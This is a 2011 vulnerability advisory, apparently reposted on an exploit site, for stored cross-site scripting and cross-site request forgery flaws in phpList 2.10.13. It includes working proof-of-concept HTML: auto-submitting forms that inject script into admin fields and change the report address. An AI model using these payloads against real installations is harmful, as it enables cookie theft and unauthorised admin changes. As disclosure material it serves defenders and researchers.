Home / exploits phpList 2.10.13 Cross Site Request Forgery / Cross Site Scri
Posted on 27 April 2011
============================== Vulnerability ID: HTB22956 Reference: http://www.htbridge.ch/advisory/xss_vulnerabilities_in_phplist.html Product: phpList Vendor: Tincan Ltd ( http://www.phplist.com/ ) Vulnerable Version: 2.10.13 and probably prior versions Vendor Notification: 12 April 2011 Vulnerability Type: XSS Risk level: Medium Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerabilities exists due to failure in the "admin/commonlib/lib/userlib.php", "admin/template.php", "admin/editlist.php" scripts to properly sanitize user-supplied input in "email" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: 1. <form action="http://host/admin/?page=user&start=0&id=USER_ID&find=&sortby=&sortorder=desc&unconfirmed=0&blacklisted=0" method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="formtoken" value="123"> <input type="hidden" name="list" value=""> <input type="hidden" name="id" value="USER_ID"> <input type="hidden" name="returnpage" value=""> <input type="hidden" name="returnoption" value=""> <input type="hidden" name="email" value='email2@example.com"><script>alert(document.cookie)</script>'> <input type="hidden" name="confirmed" value="1"> <input type="hidden" name="htmlemail" value="123"> <input type="hidden" name="rssfrequency" value="2"> <input type="hidden" name="password" value="test"> <input type="hidden" name="disabled" value="0"> <input type="hidden" name="extradata" value="add"> <input type="hidden" name="foreignkey" value="forkey"> <input type="hidden" name="change" value="Save Changes"> </form> <script> document.main.submit(); </script> 2. <form action="http://host/admin/?page=template&id=TEMPLATE_ID" method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="formtoken" value="123"> <input type="hidden" name="id" value="TEMPLATE_ID"> <input type="hidden" name="title" value="tplname"> <input type="hidden" name="file_template" value=""> <input type="hidden" name="content" value='<script>alert(document.cookie)</script>[CONTENT]'> <input type="hidden" name="save" value="Save Changes"> </form> <script> document.main.submit(); </script> 3. <form action="http://host/admin/?page=editlist&id=1" method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="formtoken" value="123"> <input type="hidden" name="id" value="1"> <input type="hidden" name="listname" value="test2"> <input type="hidden" name="listorder" value="0"> <input type="hidden" name="owner" value="1"> <input type="hidden" name="description" value='List <script>alert(document.cookie)</script>[CONTENT]'> <input type="hidden" name="save" value="Save"> </form> <script> document.main.submit(); </script> ============================== Vulnerability ID: HTB22957 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_phplist.html Product: phpList Vendor: Tincan Ltd ( http://www.phplist.com/ ) Vulnerable Version: 2.10.13 and probably prior versions Vendor Notification: 12 April 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: The vulnerability exists due to failure in the "admin/configure.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/?page=configure&id=report_address" method="post" name="main" enctype="multipart/form-data"> <input type="hidden" name="formtoken" value="123"> <input type="hidden" name="id" value="report_address"> <input type="hidden" name="values[report_address]" value="email@example.com"> <input type="hidden" name="save" value="1"> <input type="hidden" name="savebutton" value="Save changes"> </form> <script> document.main.submit(); </script>
